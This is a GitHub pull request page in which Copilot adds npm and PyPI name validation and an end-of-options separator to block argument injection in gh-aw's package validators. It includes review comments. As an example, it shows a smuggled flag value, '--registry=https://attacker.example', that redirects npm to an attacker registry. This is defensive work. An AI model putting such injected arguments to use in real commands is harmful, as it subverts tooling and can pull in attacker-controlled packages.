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Fix argument injection in npm/pip/docker package validators#23374

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lpcox merged 3 commits intomainfrom
copilot/fix-argument-injection-validation
Mar 28, 2026
Merged

Fix argument injection in npm/pip/docker package validators#23374
lpcox merged 3 commits intomainfrom
copilot/fix-argument-injection-validation

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Copilot AI commented Mar 28, 2026

During gh aw compile --validate-packages, package/image names from frontmatter MCP configs are passed to npm view, pip index versions, uv pip show, and docker without format validation. A name like --registry=https://attacker.example lands in argv[2] and is parsed as a flag by the downstream tool, making the validator's result meaningless.

Changes

  • name_validation.go — Two new regex validators:

    • validateNpmPackageName() — enforces npm naming rules (^(@[a-z0-9][a-z0-9._-]*/)?[a-z0-9][a-z0-9._-]*$)
    • validatePipPackageName() — enforces PyPI/PEP 508 naming rules (^[A-Za-z0-9]([A-Za-z0-9._-]*[A-Za-z0-9])?$); pip doesn't universally honor --, so upfront validation is the right approach
  • npm_validation.go — Two-layer defence:

    1. Calls validateNpmPackageName() before invoking npm (rejects injection names that don't start with -)
    2. Adds -- end-of-options separator: exec.Command("npm", "view", "--", pkg, "name")
  • pip_validation.go — Calls validatePipPackageName() in validatePythonPackagesWithPip after the existing - prefix check

  • argument_injection_test.goTestValidateNpmPackageName and TestValidatePipPackageName covering valid names (including single-char), --flag=value injection patterns, =-containing names, names with spaces, and uppercase-rejected npm names

Example of what's now blocked at compile time:

mcp-servers:
  demo:
    command: npx
    args: ["--registry=https://attacker.example", "harmless-pkg"]
# Previously ran: npm view --registry=https://attacker.example name
# Now rejected: invalid npm package name: "--registry=https://attacker.example"

Warning

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I tried to connect to the following addresses, but was blocked by firewall rules:

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Copilot AI changed the title [WIP] Fix argument injection in package validators during compilation Fix argument injection in npm/pip/docker package validators Mar 28, 2026
Copilot AI requested a review from lpcox March 28, 2026 18:42
Copilot AI and others added 2 commits March 28, 2026 11:59
- Add npm package name regex validation (validateNpmPackageName) in name_validation.go
- Add PyPI package name regex validation (validatePipPackageName) per PEP 508 in name_validation.go
- Add -- end-of-options separator to npm view command in npm_validation.go
- Apply npm name regex validation before invoking npm CLI
- Apply pip name regex validation in validatePythonPackagesWithPip
- Add tests for single-character names and injection-style names in argument_injection_test.go

Closes #XXX

Agent-Logs-Url: https://github.com/github/gh-aw/sessions/db1ddaab-af87-4f48-8b54-597c4bcbe3de

Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com>
@lpcox lpcox force-pushed the copilot/fix-argument-injection-validation branch from f059e80 to 4cc61c4 Compare March 28, 2026 19:00
The npmPackageNameRE regex rejected valid npm package specifiers that
include version suffixes (e.g. @sentry/mcp-server@0.29.0). This caused
mcp-inspector.md to fail compilation in CI (177/178 instead of 178/178).

Update the regex to accept an optional @Version suffix and add test
cases for scoped+versioned, unscoped+versioned, caret ranges, and tags.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
@lpcox lpcox marked this pull request as ready for review March 28, 2026 19:19
Copilot AI review requested due to automatic review settings March 28, 2026 19:19
@lpcox lpcox merged commit 89ae1c2 into main Mar 28, 2026
104 checks passed
@lpcox lpcox deleted the copilot/fix-argument-injection-validation branch March 28, 2026 19:19
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Pull request overview

Hardens gh aw compile --validate-packages against argument injection by validating npm/PyPI package names before invoking external CLIs and by using an end-of-options separator for npm invocations.

Changes:

  • Add regex-based validators for npm and PyPI package names.
  • Add a two-layer defense for npm validation (pre-validate + npm view -- <pkg> name).
  • Add unit tests covering common injection-like patterns and valid/invalid name cases.

Reviewed changes

Copilot reviewed 4 out of 4 changed files in this pull request and generated 2 comments.

File Description
pkg/workflow/name_validation.go Introduces npm/PyPI name regexes and helper validators used by package validation flows.
pkg/workflow/npm_validation.go Validates npm package names before invoking npm; adds -- to prevent option parsing.
pkg/workflow/pip_validation.go Adds PyPI name validation before running pip index versions.
pkg/workflow/argument_injection_test.go Adds unit tests for the new npm/PyPI name validators.

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// - Unscoped: lowercase alphanumeric + hyphens + dots + underscores
// - Optional version suffix: @version (e.g. @1.2.3, @^1.0.0, @latest)
// This rejects any name that could be interpreted as a CLI flag.
var npmPackageNameRE = regexp.MustCompile(`^(@[a-z0-9][a-z0-9._-]*/)?[a-z0-9][a-z0-9._-]*(@[a-zA-Z0-9^~>=<.*|-]+)?$`)
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Copilot AI Mar 28, 2026

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npmPackageNameRE claims to allow an optional version suffix, but the character class for the suffix does not include +, which is valid in semver build metadata (and supported by npm's semver). This can incorrectly reject valid package specs like pkg@1.2.3+build. Consider expanding the suffix pattern (or delegating version parsing to a semver-aware check) to avoid false negatives.

Suggested change
var npmPackageNameRE = regexp.MustCompile(`^(@[a-z0-9][a-z0-9._-]*/)?[a-z0-9][a-z0-9._-]*(@[a-zA-Z0-9^~>=<.*|-]+)?$`)
var npmPackageNameRE = regexp.MustCompile(`^(@[a-z0-9][a-z0-9._-]*/)?[a-z0-9][a-z0-9._-]*(@[a-zA-Z0-9^~>=<.*|+-]+)?$`)

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}

// validatePipPackageName returns an error if the package name does not conform
// to the PyPI naming rules (PEP 508). This prevents argument injection into pip/uv.
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Copilot AI Mar 28, 2026

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The docstring for validatePipPackageName says it prevents argument injection into "pip/uv", but this helper is only called from the pip-index-based validation path (validatePythonPackagesWithPip). The uv direct validation path uses uv pip show and does not call this helper, so the comment is currently misleading. Either apply the same name validation in the uv path as well, or adjust the comment to only mention pip (and uv-when-falling-back-to-pip).

Suggested change
// to the PyPI naming rules (PEP 508). This prevents argument injection into pip/uv.
// to the PyPI naming rules (PEP 508). This prevents argument injection into the pip CLI.

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Argument injection in npm/pip/docker package validators during compilation

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